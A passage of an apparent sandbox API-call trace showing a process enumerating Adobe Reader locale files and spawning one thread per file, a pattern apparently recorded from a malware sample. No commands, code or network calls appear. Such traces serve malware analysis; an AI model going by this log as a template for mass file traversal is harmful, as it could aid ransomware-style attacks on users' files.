ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0244.680] wcscmp (_String1="eBook.EUQ", _String2=".") returned 1 [0244.680] wcscmp (_String1="eBook.EUQ", _String2="..") returned 1 [0244.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5250 [0244.680] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.680] wcscat (in: _Dest=0x1cdb5250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.680] wcscat (in: _Dest=0x1cdb5250, _Source="eBook.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" [0244.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb5250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0244.681] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0244.681] wcscmp (_String1="EScript.EUQ", _String2=".") returned 1 [0244.681] wcscmp (_String1="EScript.EUQ", _String2="..") returned 1 [0244.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43197bc0 [0244.681] wcscpy (in: _Dest=0x43197bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.681] wcscat (in: _Dest=0x43197bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.681] wcscat (in: _Dest=0x43197bc0, _Source="EScript.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ" [0244.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43197bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0244.682] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0244.682] wcscmp (_String1="IA32.EUQ", _String2=".") returned 1 [0244.682] wcscmp (_String1="IA32.EUQ", _String2="..") returned 1 [0244.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431976c0 [0244.682] wcscpy (in: _Dest=0x431976c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.683] wcscat (in: _Dest=0x431976c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.683] wcscat (in: _Dest=0x431976c0, _Source="IA32.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ" [0244.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431976c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0244.683] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.EUQ", cAlternateFileName="MAKEAC~1.EUQ")) returned 1 [0244.683] wcscmp (_String1="makeaccessible.EUQ", _String2=".") returned 1 [0244.683] wcscmp (_String1="makeaccessible.EUQ", _String2="..") returned 1 [0244.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431309e0 [0244.684] wcscpy (in: _Dest=0x431309e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.684] wcscat (in: _Dest=0x431309e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.684] wcscat (in: _Dest=0x431309e0, _Source="makeaccessible.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ" [0244.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431309e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0244.684] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.EUQ", cAlternateFileName="MULTIM~1.EUQ")) returned 1 [0244.684] wcscmp (_String1="Multimedia.EUQ", _String2=".") returned 1 [0244.684] wcscmp (_String1="Multimedia.EUQ", _String2="..") returned 1 [0244.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43197a80 [0244.685] wcscpy (in: _Dest=0x43197a80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.685] wcscat (in: _Dest=0x43197a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.685] wcscat (in: _Dest=0x43197a80, _Source="Multimedia.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ" [0244.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43197a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0244.685] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0244.685] wcscmp (_String1="pddom.EUQ", _String2=".") returned 1 [0244.685] wcscmp (_String1="pddom.EUQ", _String2="..") returned 1 [0244.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43196cc0 [0244.686] wcscpy (in: _Dest=0x43196cc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.686] wcscat (in: _Dest=0x43196cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.686] wcscat (in: _Dest=0x43196cc0, _Source="pddom.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ" [0244.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43196cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0244.729] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0244.729] wcscmp (_String1="PPKLite.EUQ", _String2=".") returned 1 [0244.729] wcscmp (_String1="PPKLite.EUQ", _String2="..") returned 1 [0244.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43196b80 [0244.729] wcscpy (in: _Dest=0x43196b80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.729] wcscat (in: _Dest=0x43196b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.729] wcscat (in: _Dest=0x43196b80, _Source="PPKLite.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" [0244.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43196b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0244.740] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0244.740] wcscmp (_String1="RdLang32.EUQ", _String2=".") returned 1 [0244.740] wcscmp (_String1="RdLang32.EUQ", _String2="..") returned 1 [0244.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43197b20 [0244.740] wcscpy (in: _Dest=0x43197b20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.740] wcscat (in: _Dest=0x43197b20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.740] wcscat (in: _Dest=0x43197b20, _Source="RdLang32.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ" [0244.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43197b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500 [0244.752] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.EUQ", cAlternateFileName="READOU~1.EUQ")) returned 1 [0244.752] wcscmp (_String1="ReadOutLoud.EUQ", _String2=".") returned 1 [0244.752] wcscmp (_String1="ReadOutLoud.EUQ", _String2="..") returned 1 [0244.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43131dd0 [0244.753] wcscpy (in: _Dest=0x43131dd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.753] wcscat (in: _Dest=0x43131dd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.753] wcscat (in: _Dest=0x43131dd0, _Source="ReadOutLoud.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" [0244.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0244.754] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0244.754] wcscmp (_String1="reflow.EUQ", _String2=".") returned 1 [0244.754] wcscmp (_String1="reflow.EUQ", _String2="..") returned 1 [0244.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43197940 [0244.754] wcscpy (in: _Dest=0x43197940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.754] wcscat (in: _Dest=0x43197940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.754] wcscat (in: _Dest=0x43197940, _Source="reflow.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ" [0244.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43197940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0244.755] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.EUQ", cAlternateFileName="SAVEAS~1.EUQ")) returned 1 [0244.755] wcscmp (_String1="SaveAsRTF.EUQ", _String2=".") returned 1 [0244.755] wcscmp (_String1="SaveAsRTF.EUQ", _String2="..") returned 1 [0244.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b19b0 [0244.755] wcscpy (in: _Dest=0x202b19b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.755] wcscat (in: _Dest=0x202b19b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.755] wcscat (in: _Dest=0x202b19b0, _Source="SaveAsRTF.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" [0244.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b19b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0244.756] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0244.756] wcscmp (_String1="Search.EUQ", _String2=".") returned 1 [0244.756] wcscmp (_String1="Search.EUQ", _String2="..") returned 1 [0244.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b1690 [0244.756] wcscpy (in: _Dest=0x202b1690, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.757] wcscat (in: _Dest=0x202b1690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.757] wcscat (in: _Dest=0x202b1690, _Source="Search.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ" [0244.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0244.757] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0244.757] wcscmp (_String1="SendMail.EUQ", _String2=".") returned 1 [0244.757] wcscmp (_String1="SendMail.EUQ", _String2="..") returned 1 [0244.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1f50 [0244.758] wcscpy (in: _Dest=0x202b1f50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.758] wcscat (in: _Dest=0x202b1f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.758] wcscat (in: _Dest=0x202b1f50, _Source="SendMail.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ" [0244.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0244.759] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0244.759] wcscmp (_String1="Services", _String2=".") returned 1 [0244.759] wcscmp (_String1="Services", _String2="..") returned 1 [0244.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1050 [0244.759] wcscpy (in: _Dest=0x202b1050, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.759] wcscat (in: _Dest=0x202b1050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.759] wcscat (in: _Dest=0x202b1050, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" [0244.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b1050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0244.760] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0244.760] wcscmp (_String1="Spelling.EUQ", _String2=".") returned 1 [0244.760] wcscmp (_String1="Spelling.EUQ", _String2="..") returned 1 [0244.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b15f0 [0244.760] wcscpy (in: _Dest=0x202b15f0, 